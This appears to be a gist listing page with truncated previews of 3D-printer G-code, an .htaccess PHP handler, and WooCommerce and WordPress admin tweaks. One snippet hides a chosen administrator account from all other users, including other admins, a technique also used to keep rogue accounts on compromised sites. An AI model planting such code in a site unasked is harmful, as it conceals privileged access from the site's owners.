This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
M500 ; reset EEPROM | |
G28 ; Home | |
M106 P0 S255 ; Set fan speed to 100% | |
M303 E0 S200 C8 U1 ; PID autotune extruder | |
M106 P0 S0 ; Turn off fan | |
M303 E-1 S50 C8 U1 ; PID autotune bed | |
M851 Z-1.0 ; Set z-offset | |
M503 ; Print current settings | |
M500 ; Save settings |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Habilitar o PHP 7.1 | |
<IfModule mime_module> | |
AddHandler application/x-httpd-ea-php71 .php .php7 .phtml | |
</IfModule> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Sort products without stock WooCommerce | |
class iWC_Orderby_Stock_Status | |
{ | |
public function __construct() | |
{ | |
// Check if WooCommerce is active | |
if (in_array('woocommerce/woocommerce.php', apply_filters('active_plugins', get_option('active_plugins')))) { | |
add_filter('posts_clauses', array($this, 'order_by_stock_status'), 2000); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
remove_filter( 'woocommerce_cart_shipping_packages', 'dokan_custom_split_shipping_packages' ); | |
remove_filter( 'woocommerce_shipping_package_name', 'dokan_change_shipping_pack_name' ); | |
remove_action( 'woocommerce_checkout_create_order_shipping_item', 'dokan_add_shipping_pack_meta' ); | |
add_filter( 'woocommerce_shipping_methods', function($methods){ | |
unset( $methods['dokan_vendor_shipping'] ); | |
return $methods; | |
}, 11 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//FROM | |
//http://digwp.com/2010/03/wordpress-functions-php-template-custom-functions/ | |
//http://webstractions.com/wordpress/remove-recent-comments-inline-styl/ | |
//http://wpengineer.com/1438/wordpress-header/ | |
//https://github.com/boldperspective/Whiteboard-Framework | |
//REMOVE ADMIN BAR | |
add_filter( 'show_admin_bar', '__return_false' ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Allow editors to edit WordPress menus | |
$role_object = get_role( 'editor' ); | |
$role_object->add_cap( 'edit_theme_options' ); | |
///// | |
function hide_menu() { | |
if (current_user_can('editor')) { | |
remove_submenu_page( 'themes.php', 'themes.php' ); // hide the theme selection submenu |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// | |
//Show values and add to cart only for users who have logged in to WooCommerce. | |
// | |
add_action( 'init', 'wc_hide_price_add_cart_not_logged_in' ); | |
function wc_hide_price_add_cart_not_logged_in() { | |
if ( !is_user_logged_in() ) { | |
remove_action( 'woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart', 10 ); | |
remove_action( 'woocommerce_single_product_summary', 'woocommerce_template_single_add_to_cart', 30 ); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Remove Personal Options in WordPress Admin Profile Page | |
//https://isabelcastillo.com/hide-personal-options-wordpress-admin-profile | |
function remove_personal_options(){ | |
echo '<script type="text/javascript">jQuery(document).ready(function($) { | |
$(\'form#your-profile > h2:first\').remove(); // remove the "Personal Options" title | |
$(\'form#your-profile tr.user-rich-editing-wrap\').remove(); // remove the "Visual Editor" field | |
$(\'form#your-profile tr.user-admin-color-wrap\').remove(); // remove the "Admin Color Scheme" field | |
$(\'form#your-profile tr.user-comment-shortcuts-wrap\').remove(); // remove the "Keyboard Shortcuts" field | |
$(\'form#your-profile tr.user-admin-bar-front-wrap\').remove(); // remove the "Toolbar" field |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//Hides an admin user from all other users, including other WordPress admins | |
//Replace "hiddenuser" by the user you want to hide | |
add_action('pre_user_query','dt_pre_user_query'); | |
function dt_pre_user_query($user_search) { | |
global $current_user; | |
$username = $current_user->user_login; | |
if ($username != 'hiddenuser') { | |
global $wpdb; | |
$user_search->query_where = str_replace('WHERE 1=1', |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/*--------------------- | |
Dashboard Menu Adjustments | |
---------------------*/ | |
// Only hide specific dashboard menu items on the live server. | |
// Show on localhost so we can control every component. | |
$whitelist = array('127.0.0.1','::1'); |